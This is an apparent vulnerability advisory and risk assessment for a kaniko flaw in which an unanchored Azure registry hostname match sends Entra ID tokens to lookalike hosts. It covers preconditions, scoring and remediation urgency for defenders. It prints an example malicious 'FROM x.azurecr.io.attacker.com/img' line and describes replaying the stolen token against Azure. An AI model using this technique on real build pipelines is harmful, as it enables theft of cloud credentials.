kaniko CVE-2026-105769

Three conditions must hold together: (1) kaniko before v1.25.20 is used to build a Dockerfile or build arguments the operator does not fully control - specifically a 'FROM' or 'COPY --from=<image>' referencing a lookalike host whose name merely contains '.azurecr.io', '.azurecr.cn', '.azurecr.de' or '.azurecr.us' (e.g. x.azurecr.io.attacker.com); (2) the registry has no entry in the Docker config and is not a Google or Amazon ECR host, so kaniko consults the built-in ACR helper before contacting it; and (3) an Azure identity is reachable in the build environment - service principal variables (AZURE_CLIENT_ID/SECRET/TENANT_ID), a federated workload identity token (AZURE_FEDERATED_TOKEN[_FILE], as injected by AKS workload identity), or a managed identity via the Instance Metadata Service (169.254.169.254) or MSI_ENDPOINT. No RUN instruction and no push are required. LIMITING FACTORS: exploitation is moot if no Azure identity is exposed to the build (then there is no token to leak); the attack requires that a build actually be executed on attacker-influenced input (UI:R); and ACR need not be configured or used. Setting '"credsStore": "acr-env"' widens the standalone-binary path to every registry but is uncommon because before v1.25.20 it broke non-ACR pulls.

This is a genuine high-priority issue, not a CVSS-inflated one, but its real-world blast radius is gated by a concrete precondition. The provided CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N, 9.3) describes a network-reachable, low-complexity flaw needing no attacker privileges, only that a victim run a kaniko build (UI:R) on attacker-influenced input; the scope change (S:C) correctly reflects that the compromised asset is a separate Azure identity, not kaniko itself. The vuln.today Decision label is 'act_now', and a vendor patch is available, which together argue for immediate remediation. However, key exploitation signals are MISSING from the input: no EPSS probability was supplied, and KEV status is not indicated (treat as not KEV-listed), so there is no evidence of confirmed active exploitation. No exploit-code reference marked as confirmed is present either - the referenced upstream issue #21 is a vulnerability report, not weaponized PoC. The decisive risk driver is therefore not observed exploitation but exposure pattern: the flaw only matters where kaniko (<1.25.20) builds untrusted Dockerfiles in an environment that exposes an Azure identity (service principal env vars, AKS federated workload identity, or managed identity via IMDS/MSI). That combination is common in cloud-native CI/CD on Azure, which is why the 'act_now' label is defensible despite the absence of EPSS/KEV data. Conversely, environments that never build untrusted input, or that have no Azure identity reachable from the build, face little practical risk regardless of the 9.3 score.

An attacker publishes or submits a Dockerfile containing a lookalike base image such as 'FROM x.azurecr.io.attacker.com/img' (or a 'COPY --from=<image>' reference) into a pipeline that builds untrusted input with kaniko and has an Azure identity available. When the victim runs the build, kaniko's ACR credential helper matches the unanchored hostname regex, obtains an Entra ID access token from the build's Azure identity, and POSTs it to the attacker's host before the registry is even contacted - no RUN instruction or image push required. The attacker then replays the live token against Azure Resource Manager with the identity's role assignments and can exchange it for credentials to any ACR the identity can reach. No confirmed working exploit code is identified in the provided data, though the vendor advisory describes the full technique.